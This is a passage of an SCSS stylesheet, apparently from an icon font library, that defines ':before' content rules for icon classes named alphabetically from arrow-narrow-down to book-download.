$ti-icon-arrow-narrow-down;\n}\n\n.#{$ti-prefix}-arrow-narrow-left:before {\n  content: $ti-icon-arrow-narrow-left;\n}\n\n.#{$ti-prefix}-arrow-narrow-right:before {\n  content: $ti-icon-arrow-narrow-right;\n}\n\n.#{$ti-prefix}-arrow-narrow-up:before {\n  content: $ti-icon-arrow-narrow-up;\n}\n\n.#{$ti-prefix}-arrow-ramp-left:before {\n  content: $ti-icon-arrow-ramp-left;\n}\n\n.#{$ti-prefix}-arrow-ramp-left-2:before {\n  content: $ti-icon-arrow-ramp-left-2;\n}\n\n.#{$ti-prefix}-arrow-ramp-left-3:before {\n  content: $ti-icon-arrow-ramp-left-3;\n}\n\n.#{$ti-prefix}-arrow-ramp-right:before {\n  content: $ti-icon-arrow-ramp-right;\n}\n\n.#{$ti-prefix}-arrow-ramp-right-2:before {\n  content: $ti-icon-arrow-ramp-right-2;\n}\n\n.#{$ti-prefix}-arrow-ramp-right-3:before {\n  content: $ti-icon-arrow-ramp-right-3;\n}\n\n.#{$ti-prefix}-arrow-right:before {\n  content: $ti-icon-arrow-right;\n}\n\n.#{$ti-prefix}-arrow-right-bar:before {\n  content: $ti-icon-arrow-right-bar;\n}\n\n.#{$ti-prefix}-arrow-right-circle:before {\n  content: $ti-icon-arrow-right-circle;\n}\n\n.#{$ti-prefix}-arrow-right-from-arc:before {\n  content: $ti-icon-arrow-right-from-arc;\n}\n\n.#{$ti-prefix}-arrow-right-rhombus:before {\n  content: $ti-icon-arrow-right-rhombus;\n}\n\n.#{$ti-prefix}-arrow-right-square:before {\n  content: $ti-icon-arrow-right-square;\n}\n\n.#{$ti-prefix}-arrow-right-tail:before {\n  content: $ti-icon-arrow-right-tail;\n}\n\n.#{$ti-prefix}-arrow-right-to-arc:before {\n  content: $ti-icon-arrow-right-to-arc;\n}\n\n.#{$ti-prefix}-arrow-rotary-first-left:before {\n  content: $ti-icon-arrow-rotary-first-left;\n}\n\n.#{$ti-prefix}-arrow-rotary-first-right:before {\n  content: $ti-icon-arrow-rotary-first-right;\n}\n\n.#{$ti-prefix}-arrow-rotary-last-left:before {\n  content: $ti-icon-arrow-rotary-last-left;\n}\n\n.#{$ti-prefix}-arrow-rotary-last-right:before {\n  content: $ti-icon-arrow-rotary-last-right;\n}\n\n.#{$ti-prefix}-arrow-rotary-left:before {\n  content: $ti-icon-arrow-rotary-left;\n}\n\n.#{$ti-prefix}-arrow-rotary-right:before {\n  content: $ti-icon-arrow-rotary-right;\n}\n\n.#{$ti-prefix}-arrow-rotary-straight:before {\n  content: $ti-icon-arrow-rotary-straight;\n}\n\n.#{$ti-prefix}-arrow-roundabout-left:before {\n  content: $ti-icon-arrow-roundabout-left;\n}\n\n.#{$ti-prefix}-arrow-roundabout-right:before {\n  content: $ti-icon-arrow-roundabout-right;\n}\n\n.#{$ti-prefix}-arrow-sharp-turn-left:before {\n  content: $ti-icon-arrow-sharp-turn-left;\n}\n\n.#{$ti-prefix}-arrow-sharp-turn-right:before {\n  content: $ti-icon-arrow-sharp-turn-right;\n}\n\n.#{$ti-prefix}-arrow-up:before {\n  content: $ti-icon-arrow-up;\n}\n\n.#{$ti-prefix}-arrow-up-bar:before {\n  content: $ti-icon-arrow-up-bar;\n}\n\n.#{$ti-prefix}-arrow-up-circle:before {\n  content: $ti-icon-arrow-up-circle;\n}\n\n.#{$ti-prefix}-arrow-up-from-arc:before {\n  content: $ti-icon-arrow-up-from-arc;\n}\n\n.#{$ti-prefix}-arrow-up-left:before {\n  content: $ti-icon-arrow-up-left;\n}\n\n.#{$ti-prefix}-arrow-up-left-circle:before {\n  content: $ti-icon-arrow-up-left-circle;\n}\n\n.#{$ti-prefix}-arrow-up-rhombus:before {\n  content: $ti-icon-arrow-up-rhombus;\n}\n\n.#{$ti-prefix}-arrow-up-right:before {\n  content: $ti-icon-arrow-up-right;\n}\n\n.#{$ti-prefix}-arrow-up-right-circle:before {\n  content: $ti-icon-arrow-up-right-circle;\n}\n\n.#{$ti-prefix}-arrow-up-square:before {\n  content: $ti-icon-arrow-up-square;\n}\n\n.#{$ti-prefix}-arrow-up-tail:before {\n  content: $ti-icon-arrow-up-tail;\n}\n\n.#{$ti-prefix}-arrow-up-to-arc:before {\n  content: $ti-icon-arrow-up-to-arc;\n}\n\n.#{$ti-prefix}-arrow-wave-left-down:before {\n  content: $ti-icon-arrow-wave-left-down;\n}\n\n.#{$ti-prefix}-arrow-wave-left-up:before {\n  content: $ti-icon-arrow-wave-left-up;\n}\n\n.#{$ti-prefix}-arrow-wave-right-down:before {\n  content: $ti-icon-arrow-wave-right-down;\n}\n\n.#{$ti-prefix}-arrow-wave-right-up:before {\n  content: $ti-icon-arrow-wave-right-up;\n}\n\n.#{$ti-prefix}-arrow-zig-zag:before {\n  content: $ti-icon-arrow-zig-zag;\n}\n\n.#{$ti-prefix}-arrows-cross:before {\n  content: $ti-icon-arrows-cross;\n}\n\n.#{$ti-prefix}-arrows-diagonal:before {\n  content: $ti-icon-arrows-diagonal;\n}\n\n.#{$ti-prefix}-arrows-diagonal-2:before {\n  content: $ti-icon-arrows-diagonal-2;\n}\n\n.#{$ti-prefix}-arrows-diagonal-minimize:before {\n  content: $ti-icon-arrows-diagonal-minimize;\n}\n\n.#{$ti-prefix}-arrows-diagonal-minimize-2:before {\n  content: $ti-icon-arrows-diagonal-minimize-2;\n}\n\n.#{$ti-prefix}-arrows-diff:before {\n  content: $ti-icon-arrows-diff;\n}\n\n.#{$ti-prefix}-arrows-double-ne-sw:before {\n  content: $ti-icon-arrows-double-ne-sw;\n}\n\n.#{$ti-prefix}-arrows-double-nw-se:before {\n  content: $ti-icon-arrows-double-nw-se;\n}\n\n.#{$ti-prefix}-arrows-double-se-nw:before {\n  content: $ti-icon-arrows-double-se-nw;\n}\n\n.#{$ti-prefix}-arrows-double-sw-ne:before {\n  content: $ti-icon-arrows-double-sw-ne;\n}\n\n.#{$ti-prefix}-arrows-down:before {\n  content: $ti-icon-arrows-down;\n}\n\n.#{$ti-prefix}-arrows-down-up:before {\n  content: $ti-icon-arrows-down-up;\n}\n\n.#{$ti-prefix}-arrows-exchange:before {\n  content: $ti-icon-arrows-exchange;\n}\n\n.#{$ti-prefix}-arrows-exchange-2:before {\n  content: $ti-icon-arrows-exchange-2;\n}\n\n.#{$ti-prefix}-arrows-horizontal:before {\n  content: $ti-icon-arrows-horizontal;\n}\n\n.#{$ti-prefix}-arrows-join:before {\n  content: $ti-icon-arrows-join;\n}\n\n.#{$ti-prefix}-arrows-join-2:before {\n  content: $ti-icon-arrows-join-2;\n}\n\n.#{$ti-prefix}-arrows-left:before {\n  content: $ti-icon-arrows-left;\n}\n\n.#{$ti-prefix}-arrows-left-down:before {\n  content: $ti-icon-arrows-left-down;\n}\n\n.#{$ti-prefix}-arrows-left-right:before {\n  content: $ti-icon-arrows-left-right;\n}\n\n.#{$ti-prefix}-arrows-maximize:before {\n  content: $ti-icon-arrows-maximize;\n}\n\n.#{$ti-prefix}-arrows-minimize:before {\n  content: $ti-icon-arrows-minimize;\n}\n\n.#{$ti-prefix}-arrows-move:before {\n  content: $ti-icon-arrows-move;\n}\n\n.#{$ti-prefix}-arrows-move-horizontal:before {\n  content: $ti-icon-arrows-move-horizontal;\n}\n\n.#{$ti-prefix}-arrows-move-vertical:before {\n  content: $ti-icon-arrows-move-vertical;\n}\n\n.#{$ti-prefix}-arrows-random:before {\n  content: $ti-icon-arrows-random;\n}\n\n.#{$ti-prefix}-arrows-right:before {\n  content: $ti-icon-arrows-right;\n}\n\n.#{$ti-prefix}-arrows-right-down:before {\n  content: $ti-icon-arrows-right-down;\n}\n\n.#{$ti-prefix}-arrows-right-left:before {\n  content: $ti-icon-arrows-right-left;\n}\n\n.#{$ti-prefix}-arrows-shuffle:before {\n  content: $ti-icon-arrows-shuffle;\n}\n\n.#{$ti-prefix}-arrows-shuffle-2:before {\n  content: $ti-icon-arrows-shuffle-2;\n}\n\n.#{$ti-prefix}-arrows-sort:before {\n  content: $ti-icon-arrows-sort;\n}\n\n.#{$ti-prefix}-arrows-split:before {\n  content: $ti-icon-arrows-split;\n}\n\n.#{$ti-prefix}-arrows-split-2:before {\n  content: $ti-icon-arrows-split-2;\n}\n\n.#{$ti-prefix}-arrows-transfer-down:before {\n  content: $ti-icon-arrows-transfer-down;\n}\n\n.#{$ti-prefix}-arrows-transfer-up:before {\n  content: $ti-icon-arrows-transfer-up;\n}\n\n.#{$ti-prefix}-arrows-up:before {\n  content: $ti-icon-arrows-up;\n}\n\n.#{$ti-prefix}-arrows-up-down:before {\n  content: $ti-icon-arrows-up-down;\n}\n\n.#{$ti-prefix}-arrows-up-left:before {\n  content: $ti-icon-arrows-up-left;\n}\n\n.#{$ti-prefix}-arrows-up-right:before {\n  content: $ti-icon-arrows-up-right;\n}\n\n.#{$ti-prefix}-arrows-vertical:before {\n  content: $ti-icon-arrows-vertical;\n}\n\n.#{$ti-prefix}-artboard:before {\n  content: $ti-icon-artboard;\n}\n\n.#{$ti-prefix}-artboard-filled:before {\n  content: $ti-icon-artboard-filled;\n}\n\n.#{$ti-prefix}-artboard-off:before {\n  content: $ti-icon-artboard-off;\n}\n\n.#{$ti-prefix}-article:before {\n  content: $ti-icon-article;\n}\n\n.#{$ti-prefix}-article-filled:before {\n  content: $ti-icon-article-filled;\n}\n\n.#{$ti-prefix}-article-off:before {\n  content: $ti-icon-article-off;\n}\n\n.#{$ti-prefix}-aspect-ratio:before {\n  content: $ti-icon-aspect-ratio;\n}\n\n.#{$ti-prefix}-aspect-ratio-filled:before {\n  content: $ti-icon-aspect-ratio-filled;\n}\n\n.#{$ti-prefix}-aspect-ratio-off:before {\n  content: $ti-icon-aspect-ratio-off;\n}\n\n.#{$ti-prefix}-assembly:before {\n  content: $ti-icon-assembly;\n}\n\n.#{$ti-prefix}-assembly-filled:before {\n  content: $ti-icon-assembly-filled;\n}\n\n.#{$ti-prefix}-assembly-off:before {\n  content: $ti-icon-assembly-off;\n}\n\n.#{$ti-prefix}-asset:before {\n  content: $ti-icon-asset;\n}\n\n.#{$ti-prefix}-asset-filled:before {\n  content: $ti-icon-asset-filled;\n}\n\n.#{$ti-prefix}-asterisk:before {\n  content: $ti-icon-asterisk;\n}\n\n.#{$ti-prefix}-asterisk-simple:before {\n  content: $ti-icon-asterisk-simple;\n}\n\n.#{$ti-prefix}-at:before {\n  content: $ti-icon-at;\n}\n\n.#{$ti-prefix}-at-off:before {\n  content: $ti-icon-at-off;\n}\n\n.#{$ti-prefix}-atom:before {\n  content: $ti-icon-atom;\n}\n\n.#{$ti-prefix}-atom-2:before {\n  content: $ti-icon-atom-2;\n}\n\n.#{$ti-prefix}-atom-2-filled:before {\n  content: $ti-icon-atom-2-filled;\n}\n\n.#{$ti-prefix}-atom-off:before {\n  content: $ti-icon-atom-off;\n}\n\n.#{$ti-prefix}-augmented-reality:before {\n  content: $ti-icon-augmented-reality;\n}\n\n.#{$ti-prefix}-augmented-reality-2:before {\n  content: $ti-icon-augmented-reality-2;\n}\n\n.#{$ti-prefix}-augmented-reality-off:before {\n  content: $ti-icon-augmented-reality-off;\n}\n\n.#{$ti-prefix}-auth-2fa:before {\n  content: $ti-icon-auth-2fa;\n}\n\n.#{$ti-prefix}-automatic-gearbox:before {\n  content: $ti-icon-automatic-gearbox;\n}\n\n.#{$ti-prefix}-avocado:before {\n  content: $ti-icon-avocado;\n}\n\n.#{$ti-prefix}-award:before {\n  content: $ti-icon-award;\n}\n\n.#{$ti-prefix}-award-filled:before {\n  content: $ti-icon-award-filled;\n}\n\n.#{$ti-prefix}-award-off:before {\n  content: $ti-icon-award-off;\n}\n\n.#{$ti-prefix}-axe:before {\n  content: $ti-icon-axe;\n}\n\n.#{$ti-prefix}-axis-x:before {\n  content: $ti-icon-axis-x;\n}\n\n.#{$ti-prefix}-axis-y:before {\n  content: $ti-icon-axis-y;\n}\n\n.#{$ti-prefix}-baby-bottle:before {\n  content: $ti-icon-baby-bottle;\n}\n\n.#{$ti-prefix}-baby-carriage:before {\n  content: $ti-icon-baby-carriage;\n}\n\n.#{$ti-prefix}-baby-carriage-filled:before {\n  content: $ti-icon-baby-carriage-filled;\n}\n\n.#{$ti-prefix}-background:before {\n  content: $ti-icon-background;\n}\n\n.#{$ti-prefix}-backhoe:before {\n  content: $ti-icon-backhoe;\n}\n\n.#{$ti-prefix}-backpack:before {\n  content: $ti-icon-backpack;\n}\n\n.#{$ti-prefix}-backpack-off:before {\n  content: $ti-icon-backpack-off;\n}\n\n.#{$ti-prefix}-backslash:before {\n  content: $ti-icon-backslash;\n}\n\n.#{$ti-prefix}-backspace:before {\n  content: $ti-icon-backspace;\n}\n\n.#{$ti-prefix}-backspace-filled:before {\n  content: $ti-icon-backspace-filled;\n}\n\n.#{$ti-prefix}-badge:before {\n  content: $ti-icon-badge;\n}\n\n.#{$ti-prefix}-badge-3d:before {\n  content: $ti-icon-badge-3d;\n}\n\n.#{$ti-prefix}-badge-3d-filled:before {\n  content: $ti-icon-badge-3d-filled;\n}\n\n.#{$ti-prefix}-badge-4k:before {\n  content: $ti-icon-badge-4k;\n}\n\n.#{$ti-prefix}-badge-4k-filled:before {\n  content: $ti-icon-badge-4k-filled;\n}\n\n.#{$ti-prefix}-badge-8k:before {\n  content: $ti-icon-badge-8k;\n}\n\n.#{$ti-prefix}-badge-8k-filled:before {\n  content: $ti-icon-badge-8k-filled;\n}\n\n.#{$ti-prefix}-badge-ad:before {\n  content: $ti-icon-badge-ad;\n}\n\n.#{$ti-prefix}-badge-ad-filled:before {\n  content: $ti-icon-badge-ad-filled;\n}\n\n.#{$ti-prefix}-badge-ad-off:before {\n  content: $ti-icon-badge-ad-off;\n}\n\n.#{$ti-prefix}-badge-ar:before {\n  content: $ti-icon-badge-ar;\n}\n\n.#{$ti-prefix}-badge-ar-filled:before {\n  content: $ti-icon-badge-ar-filled;\n}\n\n.#{$ti-prefix}-badge-cc:before {\n  content: $ti-icon-badge-cc;\n}\n\n.#{$ti-prefix}-badge-cc-filled:before {\n  content: $ti-icon-badge-cc-filled;\n}\n\n.#{$ti-prefix}-badge-filled:before {\n  content: $ti-icon-badge-filled;\n}\n\n.#{$ti-prefix}-badge-hd:before {\n  content: $ti-icon-badge-hd;\n}\n\n.#{$ti-prefix}-badge-hd-filled:before {\n  content: $ti-icon-badge-hd-filled;\n}\n\n.#{$ti-prefix}-badge-off:before {\n  content: $ti-icon-badge-off;\n}\n\n.#{$ti-prefix}-badge-sd:before {\n  content: $ti-icon-badge-sd;\n}\n\n.#{$ti-prefix}-badge-sd-filled:before {\n  content: $ti-icon-badge-sd-filled;\n}\n\n.#{$ti-prefix}-badge-tm:before {\n  content: $ti-icon-badge-tm;\n}\n\n.#{$ti-prefix}-badge-tm-filled:before {\n  content: $ti-icon-badge-tm-filled;\n}\n\n.#{$ti-prefix}-badge-vo:before {\n  content: $ti-icon-badge-vo;\n}\n\n.#{$ti-prefix}-badge-vo-filled:before {\n  content: $ti-icon-badge-vo-filled;\n}\n\n.#{$ti-prefix}-badge-vr:before {\n  content: $ti-icon-badge-vr;\n}\n\n.#{$ti-prefix}-badge-vr-filled:before {\n  content: $ti-icon-badge-vr-filled;\n}\n\n.#{$ti-prefix}-badge-wc:before {\n  content: $ti-icon-badge-wc;\n}\n\n.#{$ti-prefix}-badge-wc-filled:before {\n  content: $ti-icon-badge-wc-filled;\n}\n\n.#{$ti-prefix}-badges:before {\n  content: $ti-icon-badges;\n}\n\n.#{$ti-prefix}-badges-filled:before {\n  content: $ti-icon-badges-filled;\n}\n\n.#{$ti-prefix}-badges-off:before {\n  content: $ti-icon-badges-off;\n}\n\n.#{$ti-prefix}-baguette:before {\n  content: $ti-icon-baguette;\n}\n\n.#{$ti-prefix}-ball-american-football:before {\n  content: $ti-icon-ball-american-football;\n}\n\n.#{$ti-prefix}-ball-american-football-off:before {\n  content: $ti-icon-ball-american-football-off;\n}\n\n.#{$ti-prefix}-ball-baseball:before {\n  content: $ti-icon-ball-baseball;\n}\n\n.#{$ti-prefix}-ball-basketball:before {\n  content: $ti-icon-ball-basketball;\n}\n\n.#{$ti-prefix}-ball-bowling:before {\n  content: $ti-icon-ball-bowling;\n}\n\n.#{$ti-prefix}-ball-football:before {\n  content: $ti-icon-ball-football;\n}\n\n.#{$ti-prefix}-ball-football-off:before {\n  content: $ti-icon-ball-football-off;\n}\n\n.#{$ti-prefix}-ball-tennis:before {\n  content: $ti-icon-ball-tennis;\n}\n\n.#{$ti-prefix}-ball-volleyball:before {\n  content: $ti-icon-ball-volleyball;\n}\n\n.#{$ti-prefix}-balloon:before {\n  content: $ti-icon-balloon;\n}\n\n.#{$ti-prefix}-balloon-filled:before {\n  content: $ti-icon-balloon-filled;\n}\n\n.#{$ti-prefix}-balloon-off:before {\n  content: $ti-icon-balloon-off;\n}\n\n.#{$ti-prefix}-ballpen:before {\n  content: $ti-icon-ballpen;\n}\n\n.#{$ti-prefix}-ballpen-filled:before {\n  content: $ti-icon-ballpen-filled;\n}\n\n.#{$ti-prefix}-ballpen-off:before {\n  content: $ti-icon-ballpen-off;\n}\n\n.#{$ti-prefix}-ban:before {\n  content: $ti-icon-ban;\n}\n\n.#{$ti-prefix}-bandage:before {\n  content: $ti-icon-bandage;\n}\n\n.#{$ti-prefix}-bandage-filled:before {\n  content: $ti-icon-bandage-filled;\n}\n\n.#{$ti-prefix}-bandage-off:before {\n  content: $ti-icon-bandage-off;\n}\n\n.#{$ti-prefix}-barbell:before {\n  content: $ti-icon-barbell;\n}\n\n.#{$ti-prefix}-barbell-filled:before {\n  content: $ti-icon-barbell-filled;\n}\n\n.#{$ti-prefix}-barbell-off:before {\n  content: $ti-icon-barbell-off;\n}\n\n.#{$ti-prefix}-barcode:before {\n  content: $ti-icon-barcode;\n}\n\n.#{$ti-prefix}-barcode-off:before {\n  content: $ti-icon-barcode-off;\n}\n\n.#{$ti-prefix}-barrel:before {\n  content: $ti-icon-barrel;\n}\n\n.#{$ti-prefix}-barrel-off:before {\n  content: $ti-icon-barrel-off;\n}\n\n.#{$ti-prefix}-barrier-block:before {\n  content: $ti-icon-barrier-block;\n}\n\n.#{$ti-prefix}-barrier-block-filled:before {\n  content: $ti-icon-barrier-block-filled;\n}\n\n.#{$ti-prefix}-barrier-block-off:before {\n  content: $ti-icon-barrier-block-off;\n}\n\n.#{$ti-prefix}-baseline:before {\n  content: $ti-icon-baseline;\n}\n\n.#{$ti-prefix}-baseline-density-large:before {\n  content: $ti-icon-baseline-density-large;\n}\n\n.#{$ti-prefix}-baseline-density-medium:before {\n  content: $ti-icon-baseline-density-medium;\n}\n\n.#{$ti-prefix}-baseline-density-small:before {\n  content: $ti-icon-baseline-density-small;\n}\n\n.#{$ti-prefix}-basket:before {\n  content: $ti-icon-basket;\n}\n\n.#{$ti-prefix}-basket-bolt:before {\n  content: $ti-icon-basket-bolt;\n}\n\n.#{$ti-prefix}-basket-cancel:before {\n  content: $ti-icon-basket-cancel;\n}\n\n.#{$ti-prefix}-basket-check:before {\n  content: $ti-icon-basket-check;\n}\n\n.#{$ti-prefix}-basket-code:before {\n  content: $ti-icon-basket-code;\n}\n\n.#{$ti-prefix}-basket-cog:before {\n  content: $ti-icon-basket-cog;\n}\n\n.#{$ti-prefix}-basket-discount:before {\n  content: $ti-icon-basket-discount;\n}\n\n.#{$ti-prefix}-basket-dollar:before {\n  content: $ti-icon-basket-dollar;\n}\n\n.#{$ti-prefix}-basket-down:before {\n  content: $ti-icon-basket-down;\n}\n\n.#{$ti-prefix}-basket-exclamation:before {\n  content: $ti-icon-basket-exclamation;\n}\n\n.#{$ti-prefix}-basket-filled:before {\n  content: $ti-icon-basket-filled;\n}\n\n.#{$ti-prefix}-basket-heart:before {\n  content: $ti-icon-basket-heart;\n}\n\n.#{$ti-prefix}-basket-minus:before {\n  content: $ti-icon-basket-minus;\n}\n\n.#{$ti-prefix}-basket-off:before {\n  content: $ti-icon-basket-off;\n}\n\n.#{$ti-prefix}-basket-pause:before {\n  content: $ti-icon-basket-pause;\n}\n\n.#{$ti-prefix}-basket-pin:before {\n  content: $ti-icon-basket-pin;\n}\n\n.#{$ti-prefix}-basket-plus:before {\n  content: $ti-icon-basket-plus;\n}\n\n.#{$ti-prefix}-basket-question:before {\n  content: $ti-icon-basket-question;\n}\n\n.#{$ti-prefix}-basket-search:before {\n  content: $ti-icon-basket-search;\n}\n\n.#{$ti-prefix}-basket-share:before {\n  content: $ti-icon-basket-share;\n}\n\n.#{$ti-prefix}-basket-star:before {\n  content: $ti-icon-basket-star;\n}\n\n.#{$ti-prefix}-basket-up:before {\n  content: $ti-icon-basket-up;\n}\n\n.#{$ti-prefix}-basket-x:before {\n  content: $ti-icon-basket-x;\n}\n\n.#{$ti-prefix}-bat:before {\n  content: $ti-icon-bat;\n}\n\n.#{$ti-prefix}-bath:before {\n  content: $ti-icon-bath;\n}\n\n.#{$ti-prefix}-bath-filled:before {\n  content: $ti-icon-bath-filled;\n}\n\n.#{$ti-prefix}-bath-off:before {\n  content: $ti-icon-bath-off;\n}\n\n.#{$ti-prefix}-battery:before {\n  content: $ti-icon-battery;\n}\n\n.#{$ti-prefix}-battery-1:before {\n  content: $ti-icon-battery-1;\n}\n\n.#{$ti-prefix}-battery-1-filled:before {\n  content: $ti-icon-battery-1-filled;\n}\n\n.#{$ti-prefix}-battery-2:before {\n  content: $ti-icon-battery-2;\n}\n\n.#{$ti-prefix}-battery-2-filled:before {\n  content: $ti-icon-battery-2-filled;\n}\n\n.#{$ti-prefix}-battery-3:before {\n  content: $ti-icon-battery-3;\n}\n\n.#{$ti-prefix}-battery-3-filled:before {\n  content: $ti-icon-battery-3-filled;\n}\n\n.#{$ti-prefix}-battery-4:before {\n  content: $ti-icon-battery-4;\n}\n\n.#{$ti-prefix}-battery-4-filled:before {\n  content: $ti-icon-battery-4-filled;\n}\n\n.#{$ti-prefix}-battery-automotive:before {\n  content: $ti-icon-battery-automotive;\n}\n\n.#{$ti-prefix}-battery-charging:before {\n  content: $ti-icon-battery-charging;\n}\n\n.#{$ti-prefix}-battery-charging-2:before {\n  content: $ti-icon-battery-charging-2;\n}\n\n.#{$ti-prefix}-battery-eco:before {\n  content: $ti-icon-battery-eco;\n}\n\n.#{$ti-prefix}-battery-filled:before {\n  content: $ti-icon-battery-filled;\n}\n\n.#{$ti-prefix}-battery-off:before {\n  content: $ti-icon-battery-off;\n}\n\n.#{$ti-prefix}-beach:before {\n  content: $ti-icon-beach;\n}\n\n.#{$ti-prefix}-beach-off:before {\n  content: $ti-icon-beach-off;\n}\n\n.#{$ti-prefix}-bed:before {\n  content: $ti-icon-bed;\n}\n\n.#{$ti-prefix}-bed-filled:before {\n  content: $ti-icon-bed-filled;\n}\n\n.#{$ti-prefix}-bed-flat:before {\n  content: $ti-icon-bed-flat;\n}\n\n.#{$ti-prefix}-bed-flat-filled:before {\n  content: $ti-icon-bed-flat-filled;\n}\n\n.#{$ti-prefix}-bed-off:before {\n  content: $ti-icon-bed-off;\n}\n\n.#{$ti-prefix}-beer:before {\n  content: $ti-icon-beer;\n}\n\n.#{$ti-prefix}-beer-filled:before {\n  content: $ti-icon-beer-filled;\n}\n\n.#{$ti-prefix}-beer-off:before {\n  content: $ti-icon-beer-off;\n}\n\n.#{$ti-prefix}-bell:before {\n  content: $ti-icon-bell;\n}\n\n.#{$ti-prefix}-bell-bolt:before {\n  content: $ti-icon-bell-bolt;\n}\n\n.#{$ti-prefix}-bell-cancel:before {\n  content: $ti-icon-bell-cancel;\n}\n\n.#{$ti-prefix}-bell-check:before {\n  content: $ti-icon-bell-check;\n}\n\n.#{$ti-prefix}-bell-code:before {\n  content: $ti-icon-bell-code;\n}\n\n.#{$ti-prefix}-bell-cog:before {\n  content: $ti-icon-bell-cog;\n}\n\n.#{$ti-prefix}-bell-dollar:before {\n  content: $ti-icon-bell-dollar;\n}\n\n.#{$ti-prefix}-bell-down:before {\n  content: $ti-icon-bell-down;\n}\n\n.#{$ti-prefix}-bell-exclamation:before {\n  content: $ti-icon-bell-exclamation;\n}\n\n.#{$ti-prefix}-bell-filled:before {\n  content: $ti-icon-bell-filled;\n}\n\n.#{$ti-prefix}-bell-heart:before {\n  content: $ti-icon-bell-heart;\n}\n\n.#{$ti-prefix}-bell-minus:before {\n  content: $ti-icon-bell-minus;\n}\n\n.#{$ti-prefix}-bell-minus-filled:before {\n  content: $ti-icon-bell-minus-filled;\n}\n\n.#{$ti-prefix}-bell-off:before {\n  content: $ti-icon-bell-off;\n}\n\n.#{$ti-prefix}-bell-pause:before {\n  content: $ti-icon-bell-pause;\n}\n\n.#{$ti-prefix}-bell-pin:before {\n  content: $ti-icon-bell-pin;\n}\n\n.#{$ti-prefix}-bell-plus:before {\n  content: $ti-icon-bell-plus;\n}\n\n.#{$ti-prefix}-bell-plus-filled:before {\n  content: $ti-icon-bell-plus-filled;\n}\n\n.#{$ti-prefix}-bell-question:before {\n  content: $ti-icon-bell-question;\n}\n\n.#{$ti-prefix}-bell-ringing:before {\n  content: $ti-icon-bell-ringing;\n}\n\n.#{$ti-prefix}-bell-ringing-2:before {\n  content: $ti-icon-bell-ringing-2;\n}\n\n.#{$ti-prefix}-bell-ringing-2-filled:before {\n  content: $ti-icon-bell-ringing-2-filled;\n}\n\n.#{$ti-prefix}-bell-ringing-filled:before {\n  content: $ti-icon-bell-ringing-filled;\n}\n\n.#{$ti-prefix}-bell-school:before {\n  content: $ti-icon-bell-school;\n}\n\n.#{$ti-prefix}-bell-search:before {\n  content: $ti-icon-bell-search;\n}\n\n.#{$ti-prefix}-bell-share:before {\n  content: $ti-icon-bell-share;\n}\n\n.#{$ti-prefix}-bell-star:before {\n  content: $ti-icon-bell-star;\n}\n\n.#{$ti-prefix}-bell-up:before {\n  content: $ti-icon-bell-up;\n}\n\n.#{$ti-prefix}-bell-x:before {\n  content: $ti-icon-bell-x;\n}\n\n.#{$ti-prefix}-bell-x-filled:before {\n  content: $ti-icon-bell-x-filled;\n}\n\n.#{$ti-prefix}-bell-z:before {\n  content: $ti-icon-bell-z;\n}\n\n.#{$ti-prefix}-bell-z-filled:before {\n  content: $ti-icon-bell-z-filled;\n}\n\n.#{$ti-prefix}-beta:before {\n  content: $ti-icon-beta;\n}\n\n.#{$ti-prefix}-bible:before {\n  content: $ti-icon-bible;\n}\n\n.#{$ti-prefix}-bike:before {\n  content: $ti-icon-bike;\n}\n\n.#{$ti-prefix}-bike-off:before {\n  content: $ti-icon-bike-off;\n}\n\n.#{$ti-prefix}-binary:before {\n  content: $ti-icon-binary;\n}\n\n.#{$ti-prefix}-binary-off:before {\n  content: $ti-icon-binary-off;\n}\n\n.#{$ti-prefix}-binary-tree:before {\n  content: $ti-icon-binary-tree;\n}\n\n.#{$ti-prefix}-binary-tree-2:before {\n  content: $ti-icon-binary-tree-2;\n}\n\n.#{$ti-prefix}-biohazard:before {\n  content: $ti-icon-biohazard;\n}\n\n.#{$ti-prefix}-biohazard-filled:before {\n  content: $ti-icon-biohazard-filled;\n}\n\n.#{$ti-prefix}-biohazard-off:before {\n  content: $ti-icon-biohazard-off;\n}\n\n.#{$ti-prefix}-blade:before {\n  content: $ti-icon-blade;\n}\n\n.#{$ti-prefix}-blade-filled:before {\n  content: $ti-icon-blade-filled;\n}\n\n.#{$ti-prefix}-bleach:before {\n  content: $ti-icon-bleach;\n}\n\n.#{$ti-prefix}-bleach-chlorine:before {\n  content: $ti-icon-bleach-chlorine;\n}\n\n.#{$ti-prefix}-bleach-no-chlorine:before {\n  content: $ti-icon-bleach-no-chlorine;\n}\n\n.#{$ti-prefix}-bleach-off:before {\n  content: $ti-icon-bleach-off;\n}\n\n.#{$ti-prefix}-blender:before {\n  content: $ti-icon-blender;\n}\n\n.#{$ti-prefix}-blockquote:before {\n  content: $ti-icon-blockquote;\n}\n\n.#{$ti-prefix}-bluetooth:before {\n  content: $ti-icon-bluetooth;\n}\n\n.#{$ti-prefix}-bluetooth-connected:before {\n  content: $ti-icon-bluetooth-connected;\n}\n\n.#{$ti-prefix}-bluetooth-off:before {\n  content: $ti-icon-bluetooth-off;\n}\n\n.#{$ti-prefix}-bluetooth-x:before {\n  content: $ti-icon-bluetooth-x;\n}\n\n.#{$ti-prefix}-blur:before {\n  content: $ti-icon-blur;\n}\n\n.#{$ti-prefix}-blur-off:before {\n  content: $ti-icon-blur-off;\n}\n\n.#{$ti-prefix}-bmp:before {\n  content: $ti-icon-bmp;\n}\n\n.#{$ti-prefix}-body-scan:before {\n  content: $ti-icon-body-scan;\n}\n\n.#{$ti-prefix}-bold:before {\n  content: $ti-icon-bold;\n}\n\n.#{$ti-prefix}-bold-off:before {\n  content: $ti-icon-bold-off;\n}\n\n.#{$ti-prefix}-bolt:before {\n  content: $ti-icon-bolt;\n}\n\n.#{$ti-prefix}-bolt-off:before {\n  content: $ti-icon-bolt-off;\n}\n\n.#{$ti-prefix}-bomb:before {\n  content: $ti-icon-bomb;\n}\n\n.#{$ti-prefix}-bomb-filled:before {\n  content: $ti-icon-bomb-filled;\n}\n\n.#{$ti-prefix}-bone:before {\n  content: $ti-icon-bone;\n}\n\n.#{$ti-prefix}-bone-filled:before {\n  content: $ti-icon-bone-filled;\n}\n\n.#{$ti-prefix}-bone-off:before {\n  content: $ti-icon-bone-off;\n}\n\n.#{$ti-prefix}-bong:before {\n  content: $ti-icon-bong;\n}\n\n.#{$ti-prefix}-bong-off:before {\n  content: $ti-icon-bong-off;\n}\n\n.#{$ti-prefix}-book:before {\n  content: $ti-icon-book;\n}\n\n.#{$ti-prefix}-book-2:before {\n  content: $ti-icon-book-2;\n}\n\n.#{$ti-prefix}-book-download:before {\n  content: 